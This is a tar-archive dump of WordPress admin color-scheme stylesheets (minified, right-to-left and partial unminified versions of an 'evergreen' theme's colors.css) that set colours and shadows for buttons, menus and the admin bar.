includes/admin/styles/evergreen/colors.min.css000066600000025520151771460310015561 0ustar00body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#media-upload a.del-link:hover,.subsubsub a.current:hover,.subsubsub a:hover,div.dashboard-widget-submit input:hover{color:#0096dd}input[type=checkbox]:checked:before{color:#56b274}input[type=radio]:checked:before{background:#56b274}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}.wp-core-ui .button-primary{background:#56b274;border-color:#43925d #3b8152 #3b8152;color:#fff;box-shadow:0 1px 0 #3b8152;text-shadow:0 -1px 1px #3b8152,1px 0 1px #3b8152,0 1px 1px #3b8152,-1px 0 1px #3b8152}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#61b77d;border-color:#3b8152;color:#fff;box-shadow:0 1px 0 #3b8152}.wp-core-ui .button-primary:focus{box-shadow:inset 0 1px 0 #43925d,0 0 2px 1px #33b3db}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#43925d;border-color:#3b8152;box-shadow:inset 0 2px 0 #3b8152}.wp-core-ui .button-primary.button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#c7d1ca!important;background:#469961!important;border-color:#3b8152!important;text-shadow:none!important}.wp-core-ui .button-primary.button-hero{box-shadow:0 2px 0 #3b8152!important}.wp-core-ui .button-primary.button-hero:active{box-shadow:inset 0 3px 0 #3b8152!important}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#446950}.wp-core-ui .wp-ui-text-primary{color:#446950}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#56b274}.wp-core-ui .wp-ui-text-highlight{color:#56b274}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#36b360}.wp-core-ui .wp-ui-text-notification{color:#36b360}.wp-core-ui .wp-ui-text-icon{color:#f1f3f2}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{color:#fff;background-color:#446950}.view-switch a.current:before{color:#446950}.view-switch a:hover:before{color:#36b360}#adminmenu,#adminmenuback,#adminmenuwrap{background:#446950}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f1f3f2}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#56b274}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap h2 .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{background:#36533f}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after{border-right-color:#36533f}#adminmenu .wp-submenu .wp-submenu-head{color:#c7d2cb}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a,.folded #adminmenu .wp-has-current-submenu .wp-submenu a{color:#c7d2cb}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover{color:#56b274}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#56b274}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#56b274}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before,.ie8 #adminmenu li.opensub div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .update-plugins{color:#fff;background:#36b360}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#36533f}#collapse-button{color:#f1f3f2}#collapse-button:focus,#collapse-button:hover{color:#56b274}#wpadminbar{color:#fff;background:#446950}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f1f3f2}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#56b274;background:#36533f}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#56b274}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#36533f}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#597763}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c7d2cb}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f1f3f2}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#56b274}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#56b274}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f1f3f2}#wpadminbar #adminbarsearch:before{color:#f1f3f2}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#527f61}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#527f61;background-color:#527f61}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#56b274}#wpadminbar #wp-admin-bar-user-info .username{color:#c7d2cb}.wp-pointer .wp-pointer-content h3{background-color:#56b274;border-color:#4ba468}.wp-pointer .wp-pointer-content h3:before{color:#56b274}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#56b274}.media-item .bar,.media-progress-bar div{background-color:#56b274}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #56b274}.attachment.details .check{background-color:#56b274;box-shadow:0 0 0 1px #fff,0 0 0 2px #56b274}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #56b274}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#56b274}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#56b274}.theme-filter.current,.theme-section.current{border-bottom-color:#446950}body.more-filters-opened .more-filters{color:#fff;background-color:#446950}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#56b274;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#56b274;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}div#wp-responsive-toggle a:before{color:#f1f3f2}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#56b274}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#36533f}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f1f3f2}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#56b274}includes/admin/styles/evergreen/colors-rtl.min.css000066600000025516151771460310016365 0ustar00body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#media-upload a.del-link:hover,.subsubsub a.current:hover,.subsubsub a:hover,div.dashboard-widget-submit input:hover{color:#0096dd}input[type=checkbox]:checked:before{color:#56b274}input[type=radio]:checked:before{background:#56b274}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}.wp-core-ui .button-primary{background:#56b274;border-color:#43925d #3b8152 #3b8152;color:#fff;box-shadow:0 1px 0 #3b8152;text-shadow:0 -1px 1px #3b8152,-1px 0 1px #3b8152,0 1px 1px #3b8152,1px 0 1px #3b8152}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#61b77d;border-color:#3b8152;color:#fff;box-shadow:0 1px 0 #3b8152}.wp-core-ui .button-primary:focus{box-shadow:inset 0 1px 0 #43925d,0 0 2px 1px #33b3db}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover,.wp-core-ui .button-primary:active{background:#43925d;border-color:#3b8152;box-shadow:inset 0 2px 0 #3b8152}.wp-core-ui .button-primary.button-primary-disabled,.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled,.wp-core-ui .button-primary[disabled]{color:#c7d1ca!important;background:#469961!important;border-color:#3b8152!important;text-shadow:none!important}.wp-core-ui .button-primary.button-hero{box-shadow:0 2px 0 #3b8152!important}.wp-core-ui .button-primary.button-hero:active{box-shadow:inset 0 3px 0 #3b8152!important}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#446950}.wp-core-ui .wp-ui-text-primary{color:#446950}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#56b274}.wp-core-ui .wp-ui-text-highlight{color:#56b274}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#36b360}.wp-core-ui .wp-ui-text-notification{color:#36b360}.wp-core-ui .wp-ui-text-icon{color:#f1f3f2}.wrap .add-new-h2:hover,.wrap .page-title-action:hover{color:#fff;background-color:#446950}.view-switch a.current:before{color:#446950}.view-switch a:hover:before{color:#36b360}#adminmenu,#adminmenuback,#adminmenuwrap{background:#446950}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f1f3f2}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#56b274}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap h2 .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu,.folded #adminmenu .wp-has-current-submenu .wp-submenu{background:#36533f}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after{border-left-color:#36533f}#adminmenu .wp-submenu .wp-submenu-head{color:#c7d2cb}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a,.folded #adminmenu .wp-has-current-submenu .wp-submenu a{color:#c7d2cb}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover{color:#56b274}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#56b274}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#56b274}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before,.ie8 #adminmenu li.opensub div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .update-plugins{color:#fff;background:#36b360}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#36533f}#collapse-button{color:#f1f3f2}#collapse-button:focus,#collapse-button:hover{color:#56b274}#wpadminbar{color:#fff;background:#446950}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f1f3f2}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#56b274;background:#36533f}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#56b274}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#36533f}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#597763}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c7d2cb}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f1f3f2}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#56b274}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#56b274}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#f1f3f2}#wpadminbar #adminbarsearch:before{color:#f1f3f2}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#527f61}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#527f61;background-color:#527f61}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#56b274}#wpadminbar #wp-admin-bar-user-info .username{color:#c7d2cb}.wp-pointer .wp-pointer-content h3{background-color:#56b274;border-color:#4ba468}.wp-pointer .wp-pointer-content h3:before{color:#56b274}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#56b274}.media-item .bar,.media-progress-bar div{background-color:#56b274}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #56b274}.attachment.details .check{background-color:#56b274;box-shadow:0 0 0 1px #fff,0 0 0 2px #56b274}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #56b274}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#56b274}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#56b274}.theme-filter.current,.theme-section.current{border-bottom-color:#446950}body.more-filters-opened .more-filters{color:#fff;background-color:#446950}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#56b274;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#56b274;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}div#wp-responsive-toggle a:before{color:#f1f3f2}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#56b274}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#36533f}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f1f3f2}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#56b274}includes/admin/styles/evergreen/colors.css000066600000030710151771460310014774 0ustar00/*
 * Button mixin- creates 3d-ish button effect with correct
 * highlights/shadows, based on a base color.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}

a:hover, a:active, a:focus {
  color: #0096dd;
}

#media-upload a.del-link:hover,
div.dashboard-widget-submit input:hover,
.subsubsub a:hover,
.subsubsub a.current:hover {
  color: #0096dd;
}

/* Forms */
input[type=checkbox]:checked:before {
  color: #56b274;
}

input[type=radio]:checked:before {
  background: #56b274;
}

.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active {
  color: #0096dd;
}

/* Core UI */
.wp-core-ui .button-primary {
  background: #56b274;
  border-color: #43925d #3b8152 #3b8152;
  color: #fff;
  box-shadow: 0 1px 0 #3b8152;
  text-shadow: 0 -1px 1px #3b8152, 1px 0 1px #3b8152, 0 1px 1px #3b8152, -1px 0 1px #3b8152;
}

.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #61b77d;
  border-color: #3b8152;
  color: #fff;
  box-shadow: 0 1px 0 #3b8152;
}

.wp-core-ui .button-primary:focus {
  box-shadow: inset 0 1px 0 #43925d, 0 0 2px 1px #33b3db;
}

.wp-core-ui .button-primary:active, .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #43925d;
  border-color: #3b8152;
  box-shadow: inset 0 2px 0 #3b8152;
}

.wp-core-ui .button-primary[disabled], .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.button-primary-disabled, .wp-core-ui .button-primary.disabled {
  color: #c7d1ca !important;
  background: #469961 !important;
  border-color: #3b8152 !important;
  text-shadow: none !important;
}

.wp-core-ui .button-primary.button-hero {
  box-shadow: 0 2px 0 #3b8152 !important;
}

.wp-core-ui .button-primary.button-hero:active {
  box-shadow: inset 0 3px 0 #3b8152 !important;
}

.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #446950;
}

.wp-core-ui .wp-ui-text-primary {
  color: #446950;
}

.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #56b274;
}

.wp-core-ui .wp-ui-text-highlight {
  color: #56b274;
}

.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #36b360;
}

.wp-core-ui .wp-ui-text-notification {
  color: #36b360;
}

.wp-core-ui .wp-ui-text-icon {
  color: #f1f3f2;
}

/* List tables */
.wrap .add-new-h2:hover,
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #446950;
}

.view-switch a.current:before {
  color: #446950;
}

.view-switch a:hover:before {
  color: #36b360;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #446950;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: #f1f3f2;
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #56b274;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap h2 .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #36533f;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
  border-right-color: #36533f;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #c7d2cb;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #c7d2cb;
}

#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #56b274;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}

#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #56b274;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-right-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #56b274;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before,
.ie8 #adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #36b360;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #36533f;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f1f3f2;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #56b274;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #446950;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
